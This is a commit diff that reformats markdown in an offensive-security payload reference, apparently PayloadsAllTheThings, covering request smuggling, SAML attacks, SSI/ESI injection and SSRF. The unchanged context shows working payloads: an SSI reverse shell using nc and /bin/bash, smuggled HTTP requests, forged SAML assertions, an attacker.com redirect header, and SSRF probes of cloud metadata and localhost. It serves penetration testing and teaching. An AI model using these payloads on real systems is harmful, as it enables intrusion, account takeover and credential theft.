Markdown Linting - SSI, SSRF, SSTI

This commit is contained in:
Swissky
2025-03-26 17:49:42 +01:00
parent 6963d1a21c
commit bad860d79d
13 changed files with 207 additions and 278 deletions

View File

@@ -2,32 +2,28 @@
> HTTP Request smuggling occurs when multiple "things" process a request, but differ on how they determine where the request starts/ends. This disagreement can be used to interfere with another user's request/response or to bypass security controls. It normally occurs due to prioritising different HTTP headers (Content-Length vs Transfer-Encoding), differences in handling malformed headers (eg whether to ignore headers with unexpected whitespace), due to downgrading requests from a newer protocol, or due to differences in when a partial request has timed out and should be discarded. > HTTP Request smuggling occurs when multiple "things" process a request, but differ on how they determine where the request starts/ends. This disagreement can be used to interfere with another user's request/response or to bypass security controls. It normally occurs due to prioritising different HTTP headers (Content-Length vs Transfer-Encoding), differences in handling malformed headers (eg whether to ignore headers with unexpected whitespace), due to downgrading requests from a newer protocol, or due to differences in when a partial request has timed out and should be discarded.
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
* [Methodology](#methodology) * [Methodology](#methodology)
* [CL.TE Vulnerabilities](#cl.te-vulnerabilities) * [CL.TE Vulnerabilities](#clte-vulnerabilities)
* [TE.CL Vulnerabilities](#te.cl-vulnerabilities) * [TE.CL Vulnerabilities](#tecl-vulnerabilities)
* [TE.TE Vulnerabilities](#tete-vulnerabilities) * [TE.TE Vulnerabilities](#tete-vulnerabilities)
* [HTTP/2 Request Smuggling](#http2-request-smuggling) * [HTTP/2 Request Smuggling](#http2-request-smuggling)
* [Client-Side Desync](#client-side-desync) * [Client-Side Desync](#client-side-desync)
* [Labs](#labs) * [Labs](#labs)
* [References](#references) * [References](#references)
## Tools ## Tools
* [bappstore/HTTP Request Smuggler](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646) - An extension for Burp Suite designed to help you launch HTTP Request Smuggling attacks * [bappstore/HTTP Request Smuggler](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646) - An extension for Burp Suite designed to help you launch HTTP Request Smuggling attacks
* [defparam/Smuggler](https://github.com/defparam/smuggler) - An HTTP Request Smuggling / Desync testing tool written in Python 3 * [defparam/Smuggler](https://github.com/defparam/smuggler) - An HTTP Request Smuggling / Desync testing tool written in Python 3
* [dhmosfunk/simple-http-smuggler-generator](https://github.com/dhmosfunk/simple-http-smuggler-generator) - This tool is developed for burp suite practitioner certificate exam and HTTP Request Smuggling labs. * [dhmosfunk/simple-http-smuggler-generator](https://github.com/dhmosfunk/simple-http-smuggler-generator) - This tool is developed for burp suite practitioner certificate exam and HTTP Request Smuggling labs.
## Methodology ## Methodology
If you want to exploit HTTP Requests Smuggling manually you will face some problems especially in TE.CL vulnerability you have to calculate the chunk size for the second request(malicious request) as PortSwigger suggests `Manually fixing the length fields in request smuggling attacks can be tricky.`. If you want to exploit HTTP Requests Smuggling manually you will face some problems especially in TE.CL vulnerability you have to calculate the chunk size for the second request(malicious request) as PortSwigger suggests `Manually fixing the length fields in request smuggling attacks can be tricky.`.
### CL.TE Vulnerabilities ### CL.TE Vulnerabilities
> The front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header. > The front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.
@@ -58,10 +54,9 @@ Transfer-Encoding: chunked
G G
``` ```
### TE.CL Vulnerabilities ### TE.CL Vulnerabilities
> The front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header. > The front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.
```powershell ```powershell
POST / HTTP/1.1 POST / HTTP/1.1
@@ -97,7 +92,6 @@ x=1
:warning: To send this request using Burp Repeater, you will first need to go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.You need to include the trailing sequence `\r\n\r\n` following the final 0. :warning: To send this request using Burp Repeater, you will first need to go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.You need to include the trailing sequence `\r\n\r\n` following the final 0.
### TE.TE Vulnerabilities ### TE.TE Vulnerabilities
> The front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way. > The front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.
@@ -114,24 +108,22 @@ Transfer-Encoding
: chunked : chunked
``` ```
## HTTP/2 Request Smuggling ## HTTP/2 Request Smuggling
HTTP/2 request smuggling can occur if a machine converts your HTTP/2 request to HTTP/1.1, and you can smuggle an invalid content-length header, transfer-encoding header or new lines (CRLF) into the translated request. HTTP/2 request smuggling can also occur in a GET request, if you can hide an HTTP/1.1 request inside an HTTP/2 header HTTP/2 request smuggling can occur if a machine converts your HTTP/2 request to HTTP/1.1, and you can smuggle an invalid content-length header, transfer-encoding header or new lines (CRLF) into the translated request. HTTP/2 request smuggling can also occur in a GET request, if you can hide an HTTP/1.1 request inside an HTTP/2 header
``` ```ps1
:method GET :method GET
:path / :path /
:authority www.example.com :authority www.example.com
header ignored\r\n\r\nGET / HTTP/1.1\r\nHost: www.example.com header ignored\r\n\r\nGET / HTTP/1.1\r\nHost: www.example.com
``` ```
## Client-Side Desync ## Client-Side Desync
On some paths, servers don't expect POST requests, and will treat them as simple GET requests, ignoring the payload, eg: On some paths, servers don't expect POST requests, and will treat them as simple GET requests, ignoring the payload, eg:
``` ```ps1
POST / HTTP/1.1 POST / HTTP/1.1
Host: www.example.com Host: www.example.com
Content-Length: 37 Content-Length: 37
@@ -167,12 +159,11 @@ fetch('https://www.example.com/redirect', {
}) })
``` ```
This script tells the victim browser to send a `POST` request to `www.example.com/redirect`. That returns a redirect which is blocked by CORS, and causes the browser to execute the catch block, by going to `www.example.com`. This script tells the victim browser to send a `POST` request to `www.example.com/redirect`. That returns a redirect which is blocked by CORS, and causes the browser to execute the catch block, by going to `www.example.com`.
www.example.com now incorrectly processes the `HEAD` request in the `POST`'s body, instead of the browser's `GET` request, and returns 404 not found with a content-length, before replying to the next misinterpreted third (`GET /x?x=<script>...`) request and finally the browser's actual `GET` request. `www.example.com` now incorrectly processes the `HEAD` request in the `POST`'s body, instead of the browser's `GET` request, and returns 404 not found with a content-length, before replying to the next misinterpreted third (`GET /x?x=<script>...`) request and finally the browser's actual `GET` request.
Since the browser only sent one request, it accepts the response to the `HEAD` request as the response to its `GET` request and interprets the third and fourth responses as the body of the response, and thus executes the attacker's script. Since the browser only sent one request, it accepts the response to the `HEAD` request as the response to its `GET` request and interprets the third and fourth responses as the body of the response, and thus executes the attacker's script.
## Labs ## Labs
* [PortSwigger - HTTP request smuggling, basic CL.TE vulnerability](https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te) * [PortSwigger - HTTP request smuggling, basic CL.TE vulnerability](https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te)
@@ -181,11 +172,10 @@ Since the browser only sent one request, it accepts the response to the `HEAD` r
* [PortSwigger - Response queue poisoning via H2.TE request smuggling](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling) * [PortSwigger - Response queue poisoning via H2.TE request smuggling](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)
* [PortSwigger - Client-side desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync/lab-client-side-desync) * [PortSwigger - Client-side desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync/lab-client-side-desync)
## References ## References
- [A Pentester's Guide to HTTP Request Smuggling - Busra Demir - October 16, 2020](https://www.cobalt.io/blog/a-pentesters-guide-to-http-request-smuggling) * [A Pentester's Guide to HTTP Request Smuggling - Busra Demir - October 16, 2020](https://www.cobalt.io/blog/a-pentesters-guide-to-http-request-smuggling)
- [Advanced Request Smuggling - PortSwigger - October 26, 2021](https://portswigger.net/web-security/request-smuggling/advanced#http-2-request-smuggling) * [Advanced Request Smuggling - PortSwigger - October 26, 2021](https://portswigger.net/web-security/request-smuggling/advanced#http-2-request-smuggling)
- [Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling - James Kettle (@albinowax) - August 10, 2022](https://portswigger.net/research/browser-powered-desync-attacks) * [Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling - James Kettle (@albinowax) - August 10, 2022](https://portswigger.net/research/browser-powered-desync-attacks)
- [HTTP Desync Attacks: Request Smuggling Reborn - James Kettle (@albinowax) - August 7, 2019](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn) * [HTTP Desync Attacks: Request Smuggling Reborn - James Kettle (@albinowax) - August 7, 2019](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn)
- [Request Smuggling Tutorial - PortSwigger - September 28, 2019](https://portswigger.net/web-security/request-smuggling) * [Request Smuggling Tutorial - PortSwigger - September 28, 2019](https://portswigger.net/web-security/request-smuggling)

View File

@@ -2,7 +2,6 @@
> SAML (Security Assertion Markup Language) is an open standard for exchanging authentication and authorization data between parties, in particular, between an identity provider and a service provider. While SAML is widely used to facilitate single sign-on (SSO) and other federated authentication scenarios, improper implementation or misconfiguration can expose systems to various vulnerabilities. > SAML (Security Assertion Markup Language) is an open standard for exchanging authentication and authorization data between parties, in particular, between an identity provider and a service provider. While SAML is widely used to facilitate single sign-on (SSO) and other federated authentication scenarios, improper implementation or misconfiguration can expose systems to various vulnerabilities.
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
@@ -15,23 +14,19 @@
* [Extensible Stylesheet Language Transformation](#extensible-stylesheet-language-transformation) * [Extensible Stylesheet Language Transformation](#extensible-stylesheet-language-transformation)
* [References](#references) * [References](#references)
## Tools ## Tools
- [CompassSecurity/SAMLRaider](https://github.com/SAMLRaider/SAMLRaider) - SAML2 Burp Extension. * [CompassSecurity/SAMLRaider](https://github.com/SAMLRaider/SAMLRaider) - SAML2 Burp Extension.
- [ZAP Addon/SAML Support](https://www.zaproxy.org/docs/desktop/addons/saml-support/) - Allows to detect, show, edit, and fuzz SAML requests. * [ZAP Addon/SAML Support](https://www.zaproxy.org/docs/desktop/addons/saml-support/) - Allows to detect, show, edit, and fuzz SAML requests.
## Methodology ## Methodology
A SAML Response should contain the `<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"`. A SAML Response should contain the `<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"`.
### Invalid Signature ### Invalid Signature
Signatures which are not signed by a real CA are prone to cloning. Ensure the signature is signed by a real CA. If the certificate is self-signed, you may be able to clone the certificate or create your own self-signed certificate to replace it. Signatures which are not signed by a real CA are prone to cloning. Ensure the signature is signed by a real CA. If the certificate is self-signed, you may be able to clone the certificate or create your own self-signed certificate to replace it.
### Signature Stripping ### Signature Stripping
> [...]accepting unsigned SAML assertions is accepting a username without checking the password - @ilektrojohn > [...]accepting unsigned SAML assertions is accepting a username without checking the password - @ilektrojohn
@@ -69,26 +64,24 @@ Example of SAML assertion where `NameID=admin` without signature.
</saml2p:Response> </saml2p:Response>
``` ```
### XML Signature Wrapping Attacks ### XML Signature Wrapping Attacks
XML Signature Wrapping (XSW) attack, some implementations check for a valid signature and match it to a valid assertion, but do not check for multiple assertions, multiple signatures, or behave differently depending on the order of assertions. XML Signature Wrapping (XSW) attack, some implementations check for a valid signature and match it to a valid assertion, but do not check for multiple assertions, multiple signatures, or behave differently depending on the order of assertions.
- **XSW1**: Applies to SAML Response messages. Add a cloned unsigned copy of the Response after the existing signature. * **XSW1**: Applies to SAML Response messages. Add a cloned unsigned copy of the Response after the existing signature.
- **XSW2**: Applies to SAML Response messages. Add a cloned unsigned copy of the Response before the existing signature. * **XSW2**: Applies to SAML Response messages. Add a cloned unsigned copy of the Response before the existing signature.
- **XSW3**: Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion before the existing Assertion. * **XSW3**: Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion before the existing Assertion.
- **XSW4**: Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion within the existing Assertion. * **XSW4**: Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion within the existing Assertion.
- **XSW5**: Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed at the end of the SAML message. * **XSW5**: Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed at the end of the SAML message.
- **XSW6**: Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed after the original signature. * **XSW6**: Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed after the original signature.
- **XSW7**: Applies to SAML Assertion messages. Add an “Extensions” block with a cloned unsigned assertion. * **XSW7**: Applies to SAML Assertion messages. Add an “Extensions” block with a cloned unsigned assertion.
- **XSW8**: Applies to SAML Assertion messages. Add an “Object” block containing a copy of the original assertion with the signature removed. * **XSW8**: Applies to SAML Assertion messages. Add an “Object” block containing a copy of the original assertion with the signature removed.
In the following example, these terms are used. In the following example, these terms are used.
- **FA**: Forged Assertion * **FA**: Forged Assertion
- **LA**: Legitimate Assertion * **LA**: Legitimate Assertion
- **LAS**: Signature of the Legitimate Assertion * **LAS**: Signature of the Legitimate Assertion
```xml ```xml
<SAMLResponse> <SAMLResponse>
@@ -107,17 +100,16 @@ In the following example, these terms are used.
In the Github Enterprise vulnerability, this request would verify and create a sessions for `Attacker` instead of `Legitimate User`, even if `FA` is not signed. In the Github Enterprise vulnerability, this request would verify and create a sessions for `Attacker` instead of `Legitimate User`, even if `FA` is not signed.
### XML Comment Handling ### XML Comment Handling
A threat actor who already has authenticated access into a SSO system can authenticate as another user without that individuals SSO password. This [vulnerability](https://www.bleepstatic.com/images/news/u/986406/attacks/Vulnerabilities/SAML-flaw.png) has multiple CVE in the following libraries and products. A threat actor who already has authenticated access into a SSO system can authenticate as another user without that individuals SSO password. This [vulnerability](https://www.bleepstatic.com/images/news/u/986406/attacks/Vulnerabilities/SAML-flaw.png) has multiple CVE in the following libraries and products.
- OneLogin - python-saml - CVE-2017-11427 * OneLogin - python-saml - CVE-2017-11427
- OneLogin - ruby-saml - CVE-2017-11428 * OneLogin - ruby-saml - CVE-2017-11428
- Clever - saml2-js - CVE-2017-11429 * Clever - saml2-js - CVE-2017-11429
- OmniAuth-SAML - CVE-2017-11430 * OmniAuth-SAML - CVE-2017-11430
- Shibboleth - CVE-2018-0489 * Shibboleth - CVE-2018-0489
- Duo Network Gateway - CVE-2018-7340 * Duo Network Gateway - CVE-2018-7340
Researchers have noticed that if an attacker inserts a comment inside the username field in such a way that it breaks the username, the attacker might gain access to a legitimate user's account. Researchers have noticed that if an attacker inserts a comment inside the username field in such a way that it breaks the username, the attacker might gain access to a legitimate user's account.
@@ -128,16 +120,17 @@ Researchers have noticed that if an attacker inserts a comment inside the userna
<Subject> <Subject>
<NameID>user@user.com<!--XMLCOMMENT-->.evil.com</NameID> <NameID>user@user.com<!--XMLCOMMENT-->.evil.com</NameID>
``` ```
Where `user@user.com` is the first part of the username, and `.evil.com` is the second.
Where `user@user.com` is the first part of the username, and `.evil.com` is the second.
### XML External Entity ### XML External Entity
An alternative exploitation would use `XML entities` to bypass the signature verification, since the content will not change, except during XML parsing. An alternative exploitation would use `XML entities` to bypass the signature verification, since the content will not change, except during XML parsing.
In the following example: In the following example:
- `&s;` will resolve to the string `"s"`
- `&f1;` will resolve to the string `"f1"` * `&s;` will resolve to the string `"s"`
* `&f1;` will resolve to the string `"f1"`
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
@@ -164,13 +157,12 @@ In the following example:
The SAML response is accepted by the service provider. Due to the vulnerability, the service provider application reports "taf" as the value of the "uid" attribute. The SAML response is accepted by the service provider. Due to the vulnerability, the service provider application reports "taf" as the value of the "uid" attribute.
### Extensible Stylesheet Language Transformation ### Extensible Stylesheet Language Transformation
An XSLT can be carried out by using the `transform` element. An XSLT can be carried out by using the `transform` element.
![http://sso-attacks.org/images/4/49/XSLT1.jpg](http://sso-attacks.org/images/4/49/XSLT1.jpg) ![http://sso-attacks.org/images/4/49/XSLT1.jpg](http://sso-attacks.org/images/4/49/XSLT1.jpg)
Picture from [http://sso-attacks.org/XSLT_Attack](http://sso-attacks.org/XSLT_Attack) Picture from [http://sso-attacks.org/XSLT_Attack](http://sso-attacks.org/XSLT_Attack)
```xml ```xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
@@ -192,17 +184,16 @@ Picture from [http://sso-attacks.org/XSLT_Attack](http://sso-attacks.org/XSLT_At
</ds:Signature> </ds:Signature>
``` ```
## References ## References
- [Attacking SSO: Common SAML Vulnerabilities and Ways to Find Them - Jem Jensen - March 7, 2017](https://blog.netspi.com/attacking-sso-common-saml-vulnerabilities-ways-find/) * [Attacking SSO: Common SAML Vulnerabilities and Ways to Find Them - Jem Jensen - March 7, 2017](https://blog.netspi.com/attacking-sso-common-saml-vulnerabilities-ways-find/)
- [How to Hunt Bugs in SAML; a Methodology - Part I - Ben Risher (@epi052) - March 7, 2019](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) * [How to Hunt Bugs in SAML; a Methodology - Part I - Ben Risher (@epi052) - March 7, 2019](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
- [How to Hunt Bugs in SAML; a Methodology - Part II - Ben Risher (@epi052) - March 13, 2019](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) * [How to Hunt Bugs in SAML; a Methodology - Part II - Ben Risher (@epi052) - March 13, 2019](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
- [How to Hunt Bugs in SAML; a Methodology - Part III - Ben Risher (@epi052) - March 16, 2019](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/) * [How to Hunt Bugs in SAML; a Methodology - Part III - Ben Risher (@epi052) - March 16, 2019](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
- [On Breaking SAML: Be Whoever You Want to Be - Juraj Somorovsky, Andreas Mayer, Jorg Schwenk, Marco Kampmann, and Meiko Jensen - August 23, 2012](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91-8-23-12.pdf) * [On Breaking SAML: Be Whoever You Want to Be - Juraj Somorovsky, Andreas Mayer, Jorg Schwenk, Marco Kampmann, and Meiko Jensen - August 23, 2012](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91-8-23-12.pdf)
- [Oracle Weblogic - Multiple SAML Vulnerabilities (CVE-2018-2998/CVE-2018-2933) - Denis Andzakovic - July 18, 2018](https://pulsesecurity.co.nz/advisories/WebLogic-SAML-Vulnerabilities) * [Oracle Weblogic - Multiple SAML Vulnerabilities (CVE-2018-2998/CVE-2018-2933) - Denis Andzakovic - July 18, 2018](https://pulsesecurity.co.nz/advisories/WebLogic-SAML-Vulnerabilities)
- [SAML Burp Extension - Roland Bischofberger - July 24, 2015](https://blog.compass-security.com/2015/07/saml-burp-extension/) * [SAML Burp Extension - Roland Bischofberger - July 24, 2015](https://blog.compass-security.com/2015/07/saml-burp-extension/)
- [SAML Security Cheat Sheet - OWASP - February 2, 2019](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SAML_Security_Cheat_Sheet.md) * [SAML Security Cheat Sheet - OWASP - February 2, 2019](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SAML_Security_Cheat_Sheet.md)
- [The road to your codebase is paved with forged assertions - Ioannis Kakavas (@ilektrojohn) - March 13, 2017](http://www.economyofmechanism.com/github-saml) * [The road to your codebase is paved with forged assertions - Ioannis Kakavas (@ilektrojohn) - March 13, 2017](http://www.economyofmechanism.com/github-saml)
- [Truncation of SAML Attributes in Shibboleth 2 - redteam-pentesting.de - January 15, 2018](https://www.redteam-pentesting.de/de/advisories/rt-sa-2017-013/-truncation-of-saml-attributes-in-shibboleth-2) * [Truncation of SAML Attributes in Shibboleth 2 - redteam-pentesting.de - January 15, 2018](https://www.redteam-pentesting.de/de/advisories/rt-sa-2017-013/-truncation-of-saml-attributes-in-shibboleth-2)
- [Vulnerability Note VU#475445 - Garret Wassermann - February 27, 2018](https://www.kb.cert.org/vuls/id/475445/) * [Vulnerability Note VU#475445 - Garret Wassermann - February 27, 2018](https://www.kb.cert.org/vuls/id/475445/)

View File

@@ -2,14 +2,12 @@
> Server Side Includes (SSI) are directives that are placed in HTML pages and evaluated on the server while the pages are being served. They let you add dynamically generated content to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology. > Server Side Includes (SSI) are directives that are placed in HTML pages and evaluated on the server while the pages are being served. They let you add dynamically generated content to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.
## Summary ## Summary
* [Methodology](#methodology) * [Methodology](#methodology)
* [Edge Side Inclusion](#edge-side-inclusion) * [Edge Side Inclusion](#edge-side-inclusion)
* [References](#references) * [References](#references)
## Methodology ## Methodology
SSI Injection occurs when an attacker can input Server Side Include directives into a web application. SSIs are directives that can include files, execute commands, or print environment variables/attributes. If user input is not properly sanitized within an SSI context, this input can be used to manipulate server-side behavior and access sensitive information or execute commands. SSI Injection occurs when an attacker can input Server Side Include directives into a web application. SSIs are directives that can include files, execute commands, or print environment variables/attributes. If user input is not properly sanitized within an SSI context, this input can be used to manipulate server-side behavior and access sensitive information or execute commands.
@@ -27,7 +25,6 @@ SSI format: `<!--#directive param="value" -->`
| Execute commands | `<!--#exec cmd="ls" -->` | | Execute commands | `<!--#exec cmd="ls" -->` |
| Reverse shell | `<!--#exec cmd="mkfifo /tmp/f;nc IP PORT 0</tmp/f\|/bin/bash 1>/tmp/f;rm /tmp/f" -->` | | Reverse shell | `<!--#exec cmd="mkfifo /tmp/f;nc IP PORT 0</tmp/f\|/bin/bash 1>/tmp/f;rm /tmp/f" -->` |
## Edge Side Inclusion ## Edge Side Inclusion
HTTP surrogates cannot differentiate between genuine ESI tags from the upstream server and malicious ones embedded in the HTTP response. This means that if an attacker manages to inject ESI tags into the HTTP response, the surrogate will process and evaluate them without question, assuming they are legitimate tags originating from the upstream server. HTTP surrogates cannot differentiate between genuine ESI tags from the upstream server and malicious ones embedded in the HTTP response. This means that if an attacker manages to inject ESI tags into the HTTP response, the surrogate will process and evaluate them without question, assuming they are legitimate tags originating from the upstream server.
@@ -48,17 +45,15 @@ Surrogate-Control: content="ESI/1.0"
| Add header | `<!--esi $add_header('Location','http://attacker.com') -->` | | Add header | `<!--esi $add_header('Location','http://attacker.com') -->` |
| Inline fragment | `<esi:inline name="/attack.html" fetchable="yes"><script>prompt('XSS')</script></esi:inline>` | | Inline fragment | `<esi:inline name="/attack.html" fetchable="yes"><script>prompt('XSS')</script></esi:inline>` |
| Software | Includes | Vars | Cookies | Upstream Headers Required | Host Whitelist | | Software | Includes | Vars | Cookies | Upstream Headers Required | Host Whitelist |
| -------- | -------- | ---- | ------- | ------------------------- | -------------- | | -------- | -------- | ---- | ------- | ------------------------- | -------------- |
| Squid3 | Yes | Yes | Yes | Yes | No | | Squid3 | Yes | Yes | Yes | Yes | No |
| Varnish Cache | Yes | No | No | Yes | Yes | | Varnish Cache | Yes | No | No | Yes | Yes |
| Fastly | Yes | No | No | No | Yes | | Fastly | Yes | No | No | No | Yes |
| Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No | | Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No |
| NodeJS' esi | Yes | Yes | Yes | No | No | | NodeJS' esi | Yes | Yes | Yes | No | No |
| NodeJS' nodesi | Yes | No | No | No | Optional | | NodeJS' nodesi | Yes | No | No | No | Optional |
## References ## References
* [Beyond XSS: Edge Side Include Injection - Louis Dion-Marcil - April 3, 2018](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) * [Beyond XSS: Edge Side Include Injection - Louis Dion-Marcil - April 3, 2018](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/)
@@ -66,4 +61,4 @@ Surrogate-Control: content="ESI/1.0"
* [ESI Injection Part 2: Abusing specific implementations - Philippe Arteau - May 2, 2019](https://gosecure.ai/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/) * [ESI Injection Part 2: Abusing specific implementations - Philippe Arteau - May 2, 2019](https://gosecure.ai/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
* [Exploiting Server Side Include Injection - n00py - August 15, 2017](https://www.n00py.io/2017/08/exploiting-server-side-include-injection/) * [Exploiting Server Side Include Injection - n00py - August 15, 2017](https://www.n00py.io/2017/08/exploiting-server-side-include-injection/)
* [Server Side Inclusion/Edge Side Inclusion Injection - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/server-side-inclusion-edge-side-inclusion-injection) * [Server Side Inclusion/Edge Side Inclusion Injection - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/server-side-inclusion-edge-side-inclusion-injection)
* [Server-Side Includes (SSI) Injection - Weilin Zhong, Nsrav - December 4, 2019](https://owasp.org/www-community/attacks/Server-Side_Includes_(SSI)_Injection) * [Server-Side Includes (SSI) Injection - Weilin Zhong, Nsrav - December 4, 2019](https://owasp.org/www-community/attacks/Server-Side_Includes_(SSI)_Injection)

View File

@@ -2,7 +2,6 @@
> Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf. > Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
@@ -31,20 +30,18 @@
* [netdoc://](#netdoc) * [netdoc://](#netdoc)
* [Blind Exploitation](#blind-exploitation) * [Blind Exploitation](#blind-exploitation)
* [Upgrade to XSS](#upgrade-to-xss) * [Upgrade to XSS](#upgrade-to-xss)
* [Labs](#labs) * [Labs](#labs)
* [References](#references) * [References](#references)
## Tools ## Tools
- [swisskyrepo/SSRFmap](https://github.com/swisskyrepo/SSRFmap) - Automatic SSRF fuzzer and exploitation tool * [swisskyrepo/SSRFmap](https://github.com/swisskyrepo/SSRFmap) - Automatic SSRF fuzzer and exploitation tool
- [tarunkant/Gopherus](https://github.com/tarunkant/Gopherus) - Generates gopher link for exploiting SSRF and gaining RCE in various servers * [tarunkant/Gopherus](https://github.com/tarunkant/Gopherus) - Generates gopher link for exploiting SSRF and gaining RCE in various servers
- [In3tinct/See-SURF](https://github.com/In3tinct/See-SURF) - Python based scanner to find potential SSRF parameters * [In3tinct/See-SURF](https://github.com/In3tinct/See-SURF) - Python based scanner to find potential SSRF parameters
- [teknogeek/SSRF-Sheriff](https://github.com/teknogeek/ssrf-sheriff) - Simple SSRF-testing sheriff written in Go * [teknogeek/SSRF-Sheriff](https://github.com/teknogeek/ssrf-sheriff) - Simple SSRF-testing sheriff written in Go
- [assetnote/surf](https://github.com/assetnote/surf) - Returns a list of viable SSRF candidates * [assetnote/surf](https://github.com/assetnote/surf) - Returns a list of viable SSRF candidates
- [dwisiswant0/ipfuscator](https://github.com/dwisiswant0/ipfuscator) - A blazing-fast, thread-safe, straightforward and zero memory allocations tool to swiftly generate alternative IP(v4) address representations in Go. * [dwisiswant0/ipfuscator](https://github.com/dwisiswant0/ipfuscator) - A blazing-fast, thread-safe, straightforward and zero memory allocations tool to swiftly generate alternative IP(v4) address representations in Go.
- [Horlad/r3dir](https://github.com/Horlad/r3dir) - a redirection service designed to help bypass SSRF filters that do not validate the redirect location. Intergrated with Burp with help of Hackvertor tags * [Horlad/r3dir](https://github.com/Horlad/r3dir) - a redirection service designed to help bypass SSRF filters that do not validate the redirect location. Intergrated with Burp with help of Hackvertor tags
## Methodology ## Methodology
@@ -52,11 +49,10 @@ SSRF is a security vulnerability that occurs when an attacker manipulates a serv
Common exploitation paths: Common exploitation paths:
- Accessing Cloud metadata * Accessing Cloud metadata
- Leaking files on the server * Leaking files on the server
- Network discovery, port scanning with the SSRF * Network discovery, port scanning with the SSRF
- Sending packets to specific services on the network, usually to achieve a Remote Command Execution on another server * Sending packets to specific services on the network, usually to achieve a Remote Command Execution on another server
**Example**: A server accepts user input to fetch a URL. **Example**: A server accepts user input to fetch a URL.
@@ -74,7 +70,6 @@ http://169.254.169.254/latest/meta-data/
This fetches sensitive information from the AWS EC2 metadata service. This fetches sensitive information from the AWS EC2 metadata service.
## Bypassing Filters ## Bypassing Filters
### Default Targets ### Default Targets
@@ -82,44 +77,50 @@ This fetches sensitive information from the AWS EC2 metadata service.
By default, Server-Side Request Forgery are used to access services hosted on `localhost` or hidden further on the network. By default, Server-Side Request Forgery are used to access services hosted on `localhost` or hidden further on the network.
* Using `localhost` * Using `localhost`
```powershell ```powershell
http://localhost:80 http://localhost:80
http://localhost:22 http://localhost:22
https://localhost:443 https://localhost:443
``` ```
* Using `127.0.0.1` * Using `127.0.0.1`
```powershell ```powershell
http://127.0.0.1:80 http://127.0.0.1:80
http://127.0.0.1:22 http://127.0.0.1:22
https://127.0.0.1:443 https://127.0.0.1:443
``` ```
* Using `0.0.0.0` * Using `0.0.0.0`
```powershell ```powershell
http://0.0.0.0:80 http://0.0.0.0:80
http://0.0.0.0:22 http://0.0.0.0:22
https://0.0.0.0:443 https://0.0.0.0:443
``` ```
### Bypass Localhost with IPv6 Notation ### Bypass Localhost with IPv6 Notation
* Using unspecified address in IPv6 `[::]` * Using unspecified address in IPv6 `[::]`
```powershell ```powershell
http://[::]:80/ http://[::]:80/
``` ```
* Using IPv6 loopback addres`[0000::1]` * Using IPv6 loopback addres`[0000::1]`
```powershell ```powershell
